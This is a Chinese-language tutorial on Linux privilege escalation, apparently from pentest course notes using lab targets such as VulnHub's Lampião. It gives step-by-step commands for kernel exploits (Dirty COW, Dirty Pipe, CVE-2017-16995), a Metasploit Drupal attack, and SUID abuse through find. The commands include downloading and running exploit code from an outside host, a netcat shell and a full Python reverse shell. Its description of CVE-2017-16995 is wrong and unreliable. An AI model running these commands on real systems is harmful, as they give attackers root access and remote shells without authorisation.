目录
Linux提权辅助工具
内核漏洞本地用户提权 - linux-exploit-suggester测试
内核漏洞Web用户提权 - 利用脏牛dcow
内核漏洞本地用户提权 - 利用DirtyPipe(脏管)
配置安全SUID提权
这些工具都是C\C++编写的,需要在目标的Linux机器进行编译后再运行,所以再使用工具时的第一步就是把工具进行上传。
下面的工具前两个都不太靠谱,测试效果不理想,主要使用后面两个
综合类探针
https://github.com/liamg/traitor
自动化提权
https://github.com/AlessandroZ/BeRoot
用于检查常见的错误配置,以找到提升我们权限的方法。它的主要目标不是实现主机的配置评估(列出所有服务、所有进程、所有网络连接等),而是只打印已发现的可能提升我们特权的信息。
信息收集
https://github.com/rebootuser/LinEnum
https://github.com/sleventyeleven/linuxprivchecker
漏洞探针
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
linux-exploit-suggester——Linux 提权审计工具
用法:
脚本先上传到目标服务器/tmp目录下
cd /tmp
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
会检测到当前系统可能存在的漏洞,返回信息比较多,存在误报
linux-exploit-suggester-2
用法:perl linux-exploit-suggester-2.pl
返回信息相对精简,误报几率相对少
二进制文件提权命令查询平台
Linux:https://gtfobins.github.io/
Windows:https://lolbas-project.github.io/
测试环境:这里使用的演示环境为墨者学院的Ubuntu 16.04漏洞复现(CVE-2017-16995)演示环境。
提权过程:连接-获取可利用漏洞-下载并上传exp-编译exp-给权限执行
ssh连接本地低权限用户
连接上去之后,id查看hack用户的uid为1001,属于普通用户。
上传漏洞探针linux-exploit-suggester2并执行,发现了4个可能被利用的漏洞。
运行工具:
$ ./les.sh
$ ./linux-exploit-suggester-2.pl
尝试利用漏洞CVE-2017-16995
CVE-2017-16995是一个堆溢出漏洞,存在于GNU Binutils的objdump工具中。该漏洞允许攻击者通过精心构造的恶意文件,利用objdump工具对该文件进行解析时执行恶意代码,从而导致远程代码执行或拒绝服务攻击。
漏洞的原理涉及到objdump工具在解析ELF(Executable and Linkable Format,可执行与可链接格式)文件时的一个缓冲区溢出问题。
打开https://www.exploit-db.com/exploits/45010可以查看漏洞利用详情。
下载exp:https://github.com/Jewel591/Privilege-Escalation
上传 45010.c 到目标机器上进行编译,提权成功。
gcc 45010.c -o 45010
chmod +x 45010
./45010
id
靶场地址:Lampião: 1 ~ VulnHub
百度网盘 请输入提取码
内核提权整个过程:vulnhub靶机-探针目标-CMS漏洞利用-脚本探针提权漏洞-利用内核提权-GG
内核漏洞提权过程:寻可用-下载exp-上传exp到/tmp-编译exp-执行(无权限用chmod)
nmap 扫描到靶机地址以及对应开放服务 根据页面识别为Drupal框架
打开kali,ifconfig找到自己的IP为192.168.76.132。
扫描同网段的IP地址,扫描出来一个80端口
nmap 192.168.76.0/24
打开看一下
然后对80端口所在的192.168.76.141目标IP进行全端口扫描,又扫描出来一个1898端口。
nmap -p1-65535 192.168.76.141
打开看一下,发现是一个web入口。
拉到页面最下方,发现一行字:Powered by Drupal
打开msf,搜索Drupal,发现了一些漏洞利用。找一个脚本,尝试利用一下
search drupal
use exploit/unix/webapp/drupalgeddon2
set lhost 192.168.76.141
set lport 1898
exploit
成功拿到web权限
脚本探针提权漏洞+利用内核提权,上传一个漏洞探针脚本linux-exploit-suggester
执行脚本 探针一下,检测出一个脏牛漏洞。
可以直接下载相关exp(缺点是下载后文件名字就是40611,需要手动修改后缀进行后续的执行)
这里我们从GitHub上下载一个exp,上传exp到目标服务器,编译,执行,成功修改root密码。
//exp下载地址:https://github.com/gbonacini/CVE-2016-5195
upload /tmp/40837.cpp /tmp/40837.cpp
g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow 40837.cpp -lutil
python -c 'import pty;pyt.spawn("/bin/bash")'
./dcow
接下来就可以输入用户名密码登录,拿到flag。
Dirty Pipe(CVE-2022-0847)
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
在对方服务器上运行
wget https://haxx.in/files/dirtypipez.c --no-check-certificate
gcc -o dirtypipez dirtypipez.c
./dirtypipez /usr/bin/su #任何具体suid权限的文件均可
id
SUID(Set User ID)是一种特殊权限标志,用于指定可执行文件在执行时将使用文件所有者的权限而不是执行者自身的权限。当SUID权限被设置在一个可执行文件上时,执行该文件的用户将以文件所有者的身份执行,即使该用户没有相应的权限。
SUID权限的作用是允许普通用户执行某些需要特权权限的程序,而不需要将整个程序设置为具有特权权限。这样可以减少系统中特权程序的数量,从而降低了潜在的安全风险。
漏洞成因:chmod u+s给与了suid、chmod u-s删除了suid
本来是普通用户执行普通程序,但是一旦给了程序suid权限,程序在运行中就会以root 权限执行,从而提升权限。
举例:test.sh原来的权限是-rwxr-xr-x,当执行chmod u+s test.sh命令后,它的权限就会变成-rwsr-xr-x。此时,即使你用普通用户身份运行test.sh文件,实际上它却是以root权限运行的。
提权过程:探针是否有SUID(手工或脚本)-特定SUID利用-利用成功
思路:
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
已知的可用来提权的程序如下:
使用冰蝎,添加后门。msf+冰蝎配合反弹shell
反弹成功,取得一个web权限
探针是否有SUID(手工或脚本)。两种方法:脚本或者手工。
方法1:脚本。上传LinEnum.sh文件并执行,发现了一些suid文件,并从中找到了可以用于提权的find。由于find被配置为使用 SUID 权限运行,那么所有通过 find 执行的命令都将以 root 身份执行。
方法2:手工。有3条命令
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
执行以下命令,确认以root身份运行。即 当我们使用 find pentestlab -exec <命令> \; 的形式运行命令时,使用的是root身份。
touch xiaodi
find xiaodi -exec whoami \;
接下来就是反弹shell
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;
把root shell弹给本地的一个端口
这时本地5555就是以恶个root权限的命令行
这种方式有个缺陷:注:linux下nc版本默认低版本 没有-e参数
利用Python反弹:linux自带python环境
find whgojp -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.146",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
nc -lvp 7777